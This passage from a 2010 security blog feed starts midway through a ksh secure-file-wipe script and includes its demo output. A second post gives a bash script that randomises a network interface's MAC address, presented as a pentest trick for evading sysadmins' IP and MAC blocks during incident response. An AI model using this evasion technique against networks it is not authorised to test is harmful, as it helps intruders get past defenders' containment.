<span class="re3"># /dev/zero <span class="br0">&#40;</span><span class="kw2">less</span> secure, overwritten with zeros<span class="br0">&#41;</span></span><br />
<span class="re2">RANDEV=</span>/dev/urandom<br />
<span class="re2">NAME=</span>$$<br />
<span class="re2">COUNT=</span><span class="nu0">0</span><br />
<span class="re2">FILE=</span>$<span class="nu0">1</span></p>
<p><span class="kw1">if</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> <span class="re4">$#</span> -eq <span class="nu0">0</span> <span class="br0">&#93;</span><span class="br0">&#93;</span>;then<br />
&nbsp; &nbsp; print <span class="st0">&quot;Syntax: $0 &lt;file to wipe&gt;&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw1">if</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> ! -f <span class="re1">$FILE</span> <span class="br0">&#93;</span><span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; print <span class="st0">&quot;File $FILE doesn&#8217;t exists&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw1">if</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> ! -<span class="kw2">w</span> <span class="re1">$FILE</span> <span class="br0">&#93;</span><span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; print <span class="st0">&quot;Can&#8217;t write on file $FILE&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span></p>
<p><span class="re2">SIZE=</span>$<span class="br0">&#40;</span><span class="kw2">ls</span> -l <span class="re1">$FILE</span> | <span class="kw2">cut</span> -d<span class="st0">&#8216; &#8216;</span> -f5<span class="br0">&#41;</span></p>
<p>print -n <span class="st0">&quot;About to wipe file: $FILE are you sure? <span class="es0">\&quot;</span>N/y<span class="es0">\&quot;</span>: &quot;</span><br />
<span class="kw2">read</span> answer<br />
print <span class="st0">&quot;&quot;</span></p>
<p><span class="kw1">if</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> ! <span class="br0">&#40;</span> <span class="re1">$answer</span> = <span class="st0">&#8216;y&#8217;</span> || <span class="re1">$answer</span> = <span class="st0">&#8216;Y&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#93;</span><span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; print <span class="st0">&quot;Command canceled.&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">0</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw1">while</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> <span class="re1">$COUNT</span> -lt <span class="re1">$PASES</span> <span class="br0">&#93;</span><span class="br0">&#93;</span>;do<br />
&nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span> COUNT += <span class="nu0">1</span> <span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; print <span class="st0">&quot;Pass number: $COUNT&quot;</span><br />
&nbsp; &nbsp; <span class="kw2">dd</span> <span class="re2">if=</span><span class="re1">$RANDEV</span> <span class="re2">of=</span><span class="re1">$FILE</span> <span class="re2">bs=</span><span class="re1">$SIZE</span> <span class="re2">count=</span><span class="nu0">1</span><br />
<span class="kw1">done</span></p>
<p><span class="re2">COUNT=</span><span class="nu0">0</span><br />
<span class="kw3">echo</span> <span class="st0">&quot;Renaming&#8230;&quot;</span></p>
<p><span class="kw1">while</span> <span class="br0">&#91;</span><span class="br0">&#91;</span> <span class="re1">$COUNT</span> -lt <span class="re1">$PASES</span> <span class="br0">&#93;</span><span class="br0">&#93;</span>;do<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span> COUNT += <span class="nu0">1</span> <span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span> NAME += <span class="st0">&quot;$NAME$COUNT&quot;</span> <span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw2">mv</span> -v <span class="re1">$FILE</span> <span class="re1">$NAME</span><br />
&nbsp; &nbsp; <span class="re2">FILE=</span><span class="re1">$NAME</span><br />
<span class="kw1">done</span></p>
<p><span class="kw2">rm</span> -v <span class="re1">$FILE</span><br />
<span class="re2">FILE=</span>$<span class="nu0">1</span><br />
<span class="kw3">echo</span> File: <span class="re1">$FILE</span> deleted.<br />
<span class="kw3">exit</span> <span class="nu0">0</span></div>
<p>The syntax is simple:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; &nbsp; &#8211;.^ &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>ch0ks@xipe<span class="br0">&#41;</span>*<span class="br0">&#40;</span><span class="nu0">20</span>:<span class="nu0">38</span>:<span class="nu0">05</span><span class="br0">&#41;</span>*<span class="br0">&#40;</span>~<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp;^.&#8211;<br />
-=:<span class="br0">&#41;</span>&gt; uncomplicatedwipe.<span class="me1">ksh</span> <br />
Syntax: uncomplicatedwipe.<span class="me1">ksh</span> &lt;file to wipe&gt;</div>
<p>You can follow this commands to test the script:</p>
<div class="dean_ch" style="white-space: wrap;"> hexdump /dev/urandom &gt; foo.<span class="me1">txt</span> <br />
<span class="co2">#after some seconds press CTRL+C </span></div>
<p>Now we wipe the file</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; &nbsp; &#8211;.^ &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>ch0ks@xipe<span class="br0">&#41;</span>*<span class="br0">&#40;</span><span class="nu0">20</span>:<span class="nu0">36</span>:<span class="nu0">00</span><span class="br0">&#41;</span>*<span class="br0">&#40;</span>tmp<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp;^.&#8211;<br />
-=:<span class="br0">&#41;</span>&gt; uncomplicatedwipe.<span class="me1">sh</span> foo.<span class="me1">txt</span> <br />
About to wipe file: foo.<span class="me1">txt</span> are you sure? <span class="st0">&quot;N/y&quot;</span>: y</p>
<p>Pass number: <span class="nu0">1</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">4.01637</span> s, <span class="nu0">3.9</span> MB/s<br />
Pass number: <span class="nu0">2</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">3.87637</span> s, <span class="nu0">4.0</span> MB/s<br />
Pass number: <span class="nu0">3</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">5.451</span> s, <span class="nu0">2.8</span> MB/s<br />
Pass number: <span class="nu0">4</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">4.48904</span> s, <span class="nu0">3.4</span> MB/s<br />
Pass number: <span class="nu0">5</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">3.88731</span> s, <span class="nu0">4.0</span> MB/s<br />
Pass number: <span class="nu0">6</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">3.98379</span> s, <span class="nu0">3.9</span> MB/s<br />
Pass number: <span class="nu0">7</span><br />
<span class="nu0">1</span><span class="nu0">+0</span> records in<br />
<span class="nu0">1</span><span class="nu0">+0</span> records out<br />
<span class="nu0">15477760</span> bytes <span class="br0">&#40;</span><span class="nu0">15</span> MB<span class="br0">&#41;</span> copied, <span class="nu0">3.2128</span> s, <span class="nu0">4.8</span> MB/s<br />
Renaming&#8230;<br />
`foo.<span class="me1">txt</span><span class="st0">&#8216; -&gt; `69257&#8242;</span><br />
`<span class="nu0">69257</span><span class="st0">&#8216; -&gt; `761829&#8242;</span><br />
`<span class="nu0">761829</span><span class="st0">&#8216; -&gt; `8380122&#8242;</span><br />
`<span class="nu0">8380122</span><span class="st0">&#8216; -&gt; `92181346&#8242;</span><br />
`<span class="nu0">92181346</span><span class="st0">&#8216; -&gt; `1013994811&#8242;</span><br />
`<span class="nu0">1013994811</span><span class="st0">&#8216; -&gt; `11153942927&#8242;</span><br />
`<span class="nu0">11153942927</span><span class="st0">&#8216; -&gt; `122693372204&#8242;</span><br />
removed `<span class="nu0">122693372204</span><span class="st0">&#8216;<br />
File: foo.txt deleted.</span></div>
<p>In the next release I will make a recursive version for directories and you can visit my <a href="http://hackarandas.com/hacking-projects/">other projects here</a>.</p>
<p><strong>Troubleshoot: </strong> Some Unix systems doesn&#8217;t have /dev/urandom device so you can play with the RANDEV variable to use the one you have.</p>
<p><strong>Update: </strong> Some versions of HPUX doesn&#8217;t have /dev/[u]random so you can use as a desperate alternative the /dev/zero device. I found in a <a href="http://forums11.itrc.hp.com/service/forums/questionanswer.do?threadId=75135">forum</a> that some versions of HPUX doesn&#8217;t have the /dev/zero device so you can create it with this command:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/bin/sh</span></p>
<p><span class="re3"># major/minor <span class="kw1">for</span> HPUX <span class="nu0">11</span>.X</span><br />
<span class="kw2">mknod</span> /dev/zero c <span class="nu0">3</span> <span class="nu0">4</span><br />
<span class="kw2">chown</span> bin:bin /dev/zero<br />
<span class="kw2">chmod</span> <span class="nu0">666</span> /dev/zero</div>
<p><em>Adrián Puente Z.</em></p>
<p><a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/wipe" rel="tag">wipe</a>, <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/security" rel="tag">security</a>, <a href="http://www.technorati.com/tag/Secure+Delete" rel="tag">Secure Delete</a>, <a href="http://www.technorati.com/tag/unix" rel="tag">unix</a>, <a href="http://www.technorati.com/tag/security" rel="tag">security</a>, <a href="http://www.technorati.com/tag/seguridad" rel="tag">seguridad</a>, <a href="http://www.technorati.com/tag/ksh+code" rel="tag">ksh code</a></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;linkname=Uncomplicated%20File%20Wipe%20for%20%2ANIX" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F17%2Funcomplicated-wipe-for-nix%2F&amp;title=Uncomplicated%20File%20Wipe%20for%20%2ANIX" id="wpa2a_8"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fast MAC Address Changer in Linux</title>
		<link>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/</link>
		<comments>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 20:01:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=205</guid>
		<description><![CDATA[When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/03/APtext3RWBCol-150x150.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Fractal" alt="" /> When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the IP you are using, maybe for your MAC Address.</p>
<p>This script runs on linux and helps you changing your MAC Address in a blink of an eye, this is how it works: you invoke the command and automatically see if you are root, if not it sudo itself to get the needed priviledges, generates a new random mac and installs it in the interface.</p>
<div class="dean_ch" style="white-space: wrap;">-=:<span class="br0">&#41;</span>&gt; changemacrandom.<span class="me1">sh</span> &lt;interface&gt;</div>
<p>For example:</p>
<div class="dean_ch" style="white-space: wrap;">
-=:<span class="br0">&#41;</span>&gt; changemacrandom.<span class="me1">sh</span> eth0<br />
Only root can <span class="kw1">do</span> that! sudoing&#8230;<br />
<span class="me1">eth0</span> &nbsp; &nbsp; &nbsp;Link encap:Ethernet &nbsp;HWaddr <span class="nu0">00</span>:<span class="nu0">15</span>:c5:3d:e9:<span class="nu0">82</span> &nbsp;<br />
Interface eth0 has new mac:<br />
eth0 &nbsp; &nbsp; &nbsp;Link encap:Ethernet &nbsp;HWaddr <span class="nu0">70</span>:e7:<span class="nu0">84</span>:ca:b2:c5 &nbsp;<br />
Restart dhcp client to get a new IP.</div>
<p>The code is really simple:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/bin/bash</span><br />
<span class="re3"># Script by Adrian Puente Z. apuente _AT_ hackarandas _dot_ com</span><br />
<span class="re3"># Powered by Hackarandas www.hackarandas.com</span><br />
<span class="re3"># Licensed by GNU GPLv3</span><br />
<span class="re3"># http://www.gnu.org/licenses/gpl<span class="nu0">-3.0</span>.txt</span></p>
<p>
<span class="br0">&#91;</span> <span class="re4">$#</span> -eq <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> &nbsp;<span class="st0">&quot;Sintax: `basename $0` &lt;interface&gt;&quot;</span> &amp;&amp; <span class="kw3">exit</span> <span class="nu0">0</span></p>
<p><span class="br0">&#91;</span> `<span class="kw2">id</span> -u` -ne <span class="nu0">0</span> <span class="br0">&#93;</span> &amp;&amp; <span class="kw3">echo</span> <span class="st0">&quot;Only root can do that! sudoing&#8230;&quot;</span> <br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$EUID&quot;</span> != <span class="nu0">0</span> <span class="br0">&#93;</span>; <span class="kw1">then</span> <span class="kw2">sudo</span> `<span class="kw2">which</span> $<span class="nu0">0</span>` $<span class="nu0">1</span>; <span class="kw3">exit</span>; <span class="kw1">fi</span></p>
<p><span class="re2">INT=</span>$<span class="nu0">1</span></p>
<p><span class="kw1">function</span> gennewmac<br />
<span class="br0">&#123;</span><br />
<span class="kw2">hexdump</span> &nbsp;/dev/urandom | <span class="kw2">head</span> <span class="nu0">-3</span> |\<br />
&nbsp; &nbsp; &nbsp;<span class="kw2">cut</span> -d<span class="st0">&#8216; &#8216;</span> -f2 | <span class="kw1">while</span> <span class="kw2">read</span> -n <span class="nu0">2</span> i<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">do</span> <span class="kw3">echo</span> -n <span class="re1">$i</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">done</span> | <span class="kw2">sed</span> <span class="st0">&#8216;s/::/:/g;s/:$//g&#8217;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw1">if</span> &nbsp;ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt; /dev/null <span class="nu0">2</span>&gt;&amp;<span class="nu0">1</span> | <span class="kw2">head</span> <span class="nu0">-1</span> <br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="re2">NEWMAC=</span>`gennewmac`<br />
&nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">3</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> &nbsp;ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> down hw ether <span class="re0">$<span class="br0">&#123;</span>NEWMAC<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt;/dev/null<br />
&nbsp; &nbsp; <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> Interface <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> has new mac: <br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> <span class="nu0">2</span>&gt; /dev/null <span class="nu0">2</span>&gt;&amp;<span class="nu0">1</span> | <span class="kw2">head</span> <span class="nu0">-1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig <span class="re0">$<span class="br0">&#123;</span>INT<span class="br0">&#125;</span></span> up<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> Restart dhcp client to get a new IP.<br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Error changing MAC to ${NEWMAC}!&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Try again with the same command.&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
&nbsp; &nbsp; <span class="kw1">fi</span><br />
<span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Interface ${INT} doesn&#8217;t exists!&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span><br />
<span class="kw3">exit</span> <span class="nu0">0</span></div>
<p>You can <a href="http://hackarandas.com/hacking-projects/changemacrandom.sh.gz">download the script</a> or <a href="http://hackarandas.com/hacking-projects/">check other projects</a> i&#8217;ve made.</p>
<p>So that&#8217;s it. Leave your comments please and happy hacking!</p>
<p><em>Adrián Puente Z.</em></p>
<p><a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/hacker" rel="tag">hacker</a>, <a href="http://www.technorati.com/tag/mac+changer" rel="tag">mac changer</a>, <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Linux" rel="tag">Linux</a>, <a href="http://www.technorati.com/tag/backtrack" rel="tag">backtrack</a>, <a href="http://www.technorati.com/tag/pentest" rel="tag">pentest</a></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" 